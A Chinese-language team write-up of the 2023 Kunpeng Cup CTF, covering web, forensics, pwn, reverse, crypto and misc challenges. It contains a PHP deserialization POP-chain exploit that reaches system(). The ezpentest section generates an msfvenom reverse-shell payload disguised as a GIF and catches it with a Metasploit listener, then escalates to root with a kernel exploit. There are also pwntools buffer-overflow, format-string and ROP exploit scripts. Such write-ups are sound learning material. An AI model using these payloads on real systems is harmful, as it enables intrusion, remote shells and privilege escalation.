2023鲲鹏杯团队wp

前言

这次是阳光摆烂大男孩第三次组队进行打比赛了;有点自己的感言想说一说,这次整体情况还可以拿到了第三名;刚好卡在了二等奖;21的学长们太强啦;其实和前面两名的分差并不是很大。自己作为队长;因为这次比赛来得太突然加上自己需要进行蓝初的面试又刚好赶上这次比赛和合唱比赛撞到时间了;但是比赛并不会因为你有事情而停止,我们要做的就是去适应;所以这次并没有对题目进行一个详细的分工;也没有对自己的任务进行一个规划;所以导致这次死磕web;自己原本的取证和杂项并没有去完成。但是还好的是队友的逆向顶了上来;所以总结经验来说就是打团队赛的时候还是需要实现把题目的分工安排下去;尽量对自己的任务做一个规划;这次因为我自己一直在死磕web导致了其他的任务没有很好的完成;这也是一个小小的遗憾导致了我们的分数没有办法继续增长;希望在以后的比赛可以慢慢的磨合慢慢的成长。
然后昨晚和学委聊到一些关于CTF的学习问题;在这里也想分享学长的一句话与诸君共勉

解题情况:

团队情况:
阳光摆烂大男孩(3st):


个人情况:
@刘江峣

@叶智粲

@邱安龙

WEB

signin_for_web@hey

根据题目的提示要注意到PHP的版本号;这里发现版本号为7.4.21;然后此时我们在百度上面搜索PHP7.4.21漏洞然;后根据这一篇文章 https://www.ctfiot.com/95654.html 进行一个任意文件的读取也就是我们要的flag.php

注意这里需要使用静态文件;并且关掉自动填充Content-Length;最后将得到的flag进行base64解码即可

ezpop@hey

此时拿到源码后进行一个代码审计

首先确定这是一道pop链的题目;此时我们需要寻找pop链的链尾;此时注意到在D这个类有一个get_flag()的方法;这个方法可以执行eval()函数;此时的想法便是通过这个函数来进行一个RCE;此时我们可以把这个当作pop链的链尾;此时开始寻找如何触发这个get_flag();此时在B类中发现call这个魔术魔方可以触发get_flag();那么此时我们开始思考如何触发call这个魔术魔方;当调用一个不可访问或者不存在的对象时会触发这个函数;所以接下来我们继续审计,发现在A类的invoke魔术魔法中出现了一个不存在的change();此时我们可以利用触发invoke()的方法来触发call();接下来就是确定如何触发invoke();我们知道当尝试以调用函数的方式去调用一个对象时便会触发invoke();此时我们便注意到C类中的toString();此时它会以调用函数的方法去调用对象$stt;所以此时我们可以使用_toString()去掉用_invoke();接下来寻找如何触发_toString;我们知道echo 可以触发;此时定位到B类中的_destruct();改魔术魔方被触发后会执行echo;而destruct()只要一个对象被销毁即可触发;所以此时我们的整条pop链已经很清楚了
pop链:

1
B{_destruct} -> C{_toString} -> A{_invoke} -> B{_call} -> D{get_flag()}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class A
{
public $ad1;
}
class B
{
public $func;
}
class C
{
public $stt;
}
class D
{
public $args="system('ls');";
}
$a = new B();
$a -> func = new C();
$a -> func -> stt = new B();
$a -> func -> stt -> func = new A();
$a -> func -> stt -> func -> ad1 = new B();
$a -> func -> stt -> func -> ad1 -> func = new D();
echo base64_encode(serialize($a));
?>

但是此时发现执行不了ls命令;这时候发现是因为eval()函数里面的一个注释符引起的;原本打算像SQL注入那样使用反斜杠进行转义;后面尝试后发现无法对注释负’#’进行转义;因为注释负是在句子前面;无法转义成功;那么此时想的就是有没有办法使得我的RCE语句可以逃逸出去;此时通过之前写博客参考的文章 https://xz.aliyun.com/t/8107#toc-11 知道我们可尝试短标签的一个绕过

此时先用?>把前面的注释符闭合起来不让其参与我们后面语句的执行
然后?>进行构造短标签让我们的system(‘ls’);可以逃逸出来
所以最后的只需要把我们上面的exp里面的public $args=”system(‘ls’);”;改成public $args=”?><?=system(‘cat flag.php’);”;即可
有一说一这题在最后这个绕过的时候非常的坐牢

realworld_js@hey

此时拿到了一个登入界面;此时想到的就是平台漏洞;此时搜超星学习通平台漏洞找到有关于登入密码的算法逆向;此时根据下载下来的附件就是要我们进行解密;此时确定方向;
根据超星学习通密码的算法逆向文章:
https://www.52pojie.cn/forum.php?mod=viewthread&tid=1266540
https://www.x1a0he.com/cxnewloginsign
还有b站的js逆向的步骤解读:
https://www.bilibili.com/video/BV1Cb411j7n7/?vd_source=9c619583a465ff2ee240f5dd37f0a403
此时通过有关于js逆向操作的视频确定了基本思路:先使用开发者工具的网络进行查看;接下来刷新界面;随便输入一个账户和密码之后进行发包;并且查看

此时已经发现我们的账号密码已经被加密过了;接下来根据上面文章的教程;搜索password;发现password的加密方式;

接下来搜索encryptByAES;此时大致可以确定是使用AES加密;

因为看不懂这个代码;所以直接扔给chatgpt进行翻译;此时我们知道了是使用AES里面的CBC加密模式并且填充方式为Pkcs7

此时我们若是要解密的话就是需要拿到key和iv

此时我们可以知道key =u2oh6Vu^HWe4_AES

接下来寻找iv

此时可以得出iv=u2oh6Vu^HWe4_AES(因为上面chagpt解读时说指定偏移量(iv)为key)

最后进行解密即可得出flag

ezpentest@hey

拿到这题的第一步先进行一个信息收集使用fscan进行一个端口扫描和主机存活的探测

此时发现22端口和80端口都有打开;并且有一个主机存活;接下来继续做进一步的探测和信息收集;使用dirsearch进行后台的信息扫描看是否存在信息泄露;此时发现大量的信息泄露;此时我们进行一个页面一个页面的访问看看是否存在逻辑漏洞;

此时先访问/add.php;发现了一个上传点;此时考虑这题应该使用的方法应该是上传一个webshell;

接下来继续访问test.php

此时提示我们file参数为空;要提交有关于file文件的参数;此时我想到的是文件包含漏洞;可以通过这个file直接去读取我们想要的文件此时现在url栏进行提交发现无回显;确定其为POST的提交方法;此时提交file=panel.php;发现了数据库的连接账号和密码

接下来访问数据库进行登入发现flag1和登入的账号和密码

拿到账号和密码之后直接进行登入;进入之后发现是一个上传界面;此时我们可以上传一张图片去试试;发现上传成功;结合前面在信息收集时收集的/add.php;此时我们可以上传一句话木马进行网站控制;此时经过测试只能上传图片马;但是文件马上传之后要是没有文件包含的话是没有办法进行连接的;此时通过网上的方法可以post传参数 load=uploaded_images/wann.png&contiune=contiune进行连接;可是这里我传了多次都无法实现;开始以为是图片马过大;换了一个小一点的图片马;发现还是不行;无法执行图片木马

接着换种方法使用kali中的msf帮助我们生成一个木马

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.78.132 LPORT=7777 -f raw > wulala.php

接下来更改一下这个木马;添加文件头GIF89a;然后改后缀为.gif;然后上传
打开msf的监听模块

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 192.168.78.141
set LPORT 7777
run

接下来使用bp发包;让msf返回一个meterpreter

接下来创造一个shell;并使用uname -a来查看内核版本;准备使用改内核版本的漏洞进行提权

漏洞链接:https://www.exploit-db.com/exploits/37292

版本内核漏洞利用:

1
upload /home/wulala/桌面/exploit.c /tmp

此时已经可以查看flag2


接下来提权到root

1
2
3
cd /tmp
gcc exploit.c -o exploit
./exploit

此时已经成功提权到root

FORENSICS

Signin_for_forensics@hey

因为本地的取证kali磁盘爆了;所以这题没有办法再次复现一次;所以写一下解题过程:
此时先使用imageinfo进行查看可以利用的插件;然后因为此题没有提示;所以感觉flag就是直接呈现出来的;所以接下来使用filescan | grep “txt”进行查看txt文件;然后就可以找到一个fllllag.txt的文件;然后在使用dump命令进行提取即可

PWN

signin_for_pwn1 @wulala11



read(0, buf, v8);
通过这个可以跳转到gen_shell从而得到flag2
v5输入-1,可以绕过判断,并且在给unsigned__int8 v8赋值时,由于v8是无符号数,所以v8会是一个很大的数。
flag1直接输入3到8之内的数就可以得到。

Exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch = 'amd64', os = 'linux')
#io=process('./bs')
io=remote('43.143.224.232',10001)
sh=0x4006D7
payload=b'a'*13+p64(0)+p64(sh)
io.sendline(str(-1))
io.sendline(payload)
io.sendlineafter('good!',str(6))
io.interactive()

bs @wulala11


格式化字符串漏洞改大数和小数。
用到了pwntools的一个工具fmtstr_payload,可以实现修改任意内存

格式化字符串找出偏移是8

套上去fmtstr_payload(offset,{原地址:目的地址})

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch = 'amd64', os = 'linux')
#io=process('./bs')
io=remote('43.143.224.232',10000)
offset=8
payload=fmtstr_payload(offset,{0x601060:305419896})

io.sendline(payload)
payload=fmtstr_payload(offset,{0x601058:2})

io.sendline(payload)
io.interactive()

Limited_sginup @wulala11(未完成)

格式化字符串找不到偏移。
开了59号沙箱,用orw方法。
Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch = 'amd64', os = 'linux')
#io=process('./limited_signup')
io=remote('pwn.detectivelfy.top',10009)
libc=ELF('libc-2.27.so')
bss=0x202160
leave_ret=0x000c7d
io.sendlineafter('Your username: ','%p%31$p')
io.recvuntil('0x')
stack=int(io.recv(12),16)
io.recvuntil('0x')
libc_base=int(io.recv(12),16)-128-libc.symbols['__libc_start_main']
log.info(hex(stack))
log.info(hex(libc_base))
openn=libc_base+libc.symbols['open']
read=libc_base+libc.symbols['read']
write=libc_base+libc.symbols['write']
pop_rdi_ret=libc_base+0x000000000002164f
pop_rsi_ret=libc_base+0x0000000000023a6a
pop_rdx_ret=libc_base+0x0000000000001b96
payload=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x100)+p64(read)
payload+=p64(pop_rdi_ret)+p64(bss)+p64(pop_rsi_ret)+p64(0)+p64(openn)
payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read)
payload+=p64(pop_rdi_ret)+p64(1)+p64(write)
payload+=b'\0'*(192-len(payload))
payload+=p64(stack+8)+p64(leave_ret)
io.sendlineafter('password(0-8 chars): ',payload)
io.send('./flag\x00')
io.interactive()

REVERSE

signin_for_reverse @wulala11

无壳,直接拖到ida分析。

注意str_len不是计算长度,是一个函数。

所以sss到flag经过4个步骤。

这些是sss
exp:

INTIME @wulala11
手搓大法好!!!!只要在60.5秒时按回车就行,是不是很简单(
忘记把搓出来的flag截出来了。
手搓的时候可以开多些程序。
比较有意思的是这题的hint
应该代表三种解法吧。
要么在60.05秒按enter(手搓)
要么让你的enter按在60.05秒(写脚本控制按回车的时间)
要么让你按enter的时间是60.05秒(外挂方法更改时间?)
Baby4 @wulala11
掺杂私货的rc4加密。
有upx壳,脱壳后拉入ida分析。

看出来应该是rc4加密,直接找了个脚本套进去发现不行,仔细看源码发现多了个+2.

只要在自己的脚本上同样加上2就行。
不过待加密的字符串有0到40个,使用越界到v5,把v5的^G也加密了。

exp:

do some shop @wulala11

是pyd后缀的文件,没见过,长见识了。
运行后,发现是一个运气(dubo)游戏,赚到10000块能买flag。

拿到10000块后发现买到的flag是假的。只能找别的方法了。
这个指令可以查看pyd文件可调用的函数。


Functions部分为可以被调用的函数。试了一遍,发现调用hidden_func()后,这个应该是flag了。

运行后出现的意思大概是给出1到999999随机数,他会和box里一个永远不变的数对比,所以爆破。
在functions里面也给出了check_box函数,所以直接对它进行爆破.
exp:

成功得到flag

Crypto

Sign_in_crypto@抓到一只梗


一道签到题,根据题目提示宝可梦可以知道,这是宝可梦密码,上网搜就可以得出宝可梦密码的解码,

得到flag.

ezRSA@抓到一只梗
解这道题目一开始的想法是使用yafu爆破,但是爆不出来,于是上网寻找可用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
import sympy
from Crypto.Util.number import *
import gmpy2
n= 3236867178218679187868029646892933356668889556382011928931225322431621251105796733385018298761628469280142713309248860743887753630408491233303470524581613046343636088484158092652882951923670524296993511353840564656766994225173007360640103570566638806180184959757870406871812720700594904021996547594565066882804691828543299539337010519084333847755117116787362005939302948402903905623518264313102119905721536088249427758592469745889752091253811391842747472098790497930465697244274062411355931577264845617796944760253492223999560984878801597529157991970452444730464415892572521076657560540469036918936424167738129292149337

pp = n*13//25
p= gmpy2.iroot(pp,2)
floating_rng=1000
for i in range(p[0]-floating_rng, p[0]+floating_rng):
q = divmod(n,i)
if q[1]==0
print("p等于:",i,"\nq等于:",q[0])

上述脚本是在当p和q存在一定的联系的时候可以使用,用这种方式可以得到q和p,得到p,q之后就是按照常规的方式解,但是注意这里的e和phi并不是互素的,因此脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import libnum
import gmpy2
from Crypto.Util.number import *
n= 3236867178218679187868029646892933356668889556382011928931225322431621251105796733385018298761628469280142713309248860743887753630408491233303470524581613046343636088484158092652882951923670524296993511353840564656766994225173007360640103570566638806180184959757870406871812720700594904021996547594565066882804691828543299539337010519084333847755117116787362005939302948402903905623518264313102119905721536088249427758592469745889752091253811391842747472098790497930465697244274062411355931577264845617796944760253492223999560984878801597529157991970452444730464415892572521076657560540469036918936424167738129292149337
c= 2339965778436142782052967535496505651474563341901632084917518756140138032224457771523421333427920797122535944769637611955628982190894007313191473758233828005078021535336575884902316956878839650389912698436365769491455170635123715961160639918113932688127559246884119595918813345785365034832162389477368415105417242954578169852883614129229395701884672152186597251881330231018065088602875448533721094910042307541136110718541953131935363639531139842692566928740644057019950055309767868009677200912814942125854492261659058850590048575269859609783886985895672932538550170475630973553415557191436049778982667830171880640885002
p=1297370776869015644042912843750153481324894222765786757587689953465853934331943016049206102674763114705799927950605111210741080077091466734768799558821188873963569313247901618271456625890659712994791040916662327965685461393843316773546756339119668186481899689043854844710245358104030110967076587288184451338569
q=2494943801671183930851755468750295156394027351472666841514788372049719104484505800094627120528390605203461399905009829251425153994406666797632306843886901680699171756245964650522031972866653294220752001762812169164779733449698686102974531421383977281695960940468951624442779534815442521090531898631123944880273
#phi=(p-1)*(q-1)
e=0xe18e
#d = libnum.invmod(e,phi)

# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
print(m)
msg = gmpy2.iroot(m, t)
print(msg)
if msg[1]:
print(long_to_bytes(msg[0]))

decrypt(p,q,e,c)

这里还是借用师傅的脚本。得到flag{0f_CouRs3_Y0u_kN0w_7he_E@sy_RSA!}

Ezmath@抓到一只梗

很幸运利用搜索引擎找到了原题,只能说密码手特别需要具备这项技能,作为密码手水平还有待提高,不多说,直接放上网上师傅的exp(又捡漏了一题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import gmpy2
p=24806834269359003282202902512783687710203582184828384138307070665433804609556323577714893596218908734611
s1=14058579254368610608096465776494244168577103768054747907758469816862092340677345880760607937260906886618
s2=4549079676331431556111756538670168728123411729424075104216718712311915417530961318066784845836058181317
s3=1045978316664357359174911971933619844229184799622423723188472733324400296741795131979626839521616504900
from gmpy2 import *

# s3-s2 = a(s2-s1) mod p
t = invert(s2 - s1, p)
a = (t * (s3 - s2)) % p
#a = 25714049524051800625758372225598770398614533519595256157902456884372427008002817231382013589153912429484

# s3 = a*s2 + b mod p
b = (s3 - a * s2) % p
#b = 10170297191068284996927402215696494489341479919496467043387273609973505047115652911086290426648313876559
# s1 = a*s0 + b mod p
a1 = invert(a, p)
s0 = ((s1 - b) * a1) % p
#s0 = 14337636555117933152506165016723944787939761429733562849369091223517166614830298165864272285381681301117
bytes.fromhex(hex(s0)[2:])



print(bytes.fromhex(hex(s0)[2:]))

得到flag{e4syRsa1snotdifficult5996642D0A7415EF}

MISC

Ezlog@抓到一只梗


尝试了一下杂项,只能说太劝退了,看的眼睛难受,解题的关键在于后面的sql注入,利用时间盲注,在结合前面的时间波动,如果出现时间相同的,则说明字母正确,后来一个个查找,手搓出来flag{501ea7cf1544106e3555c4cc2cf4087}

Math_game @wulala11

数织游戏,找了个软件,直接把图片内容填进去,得到一个二维码,扫码获得flag.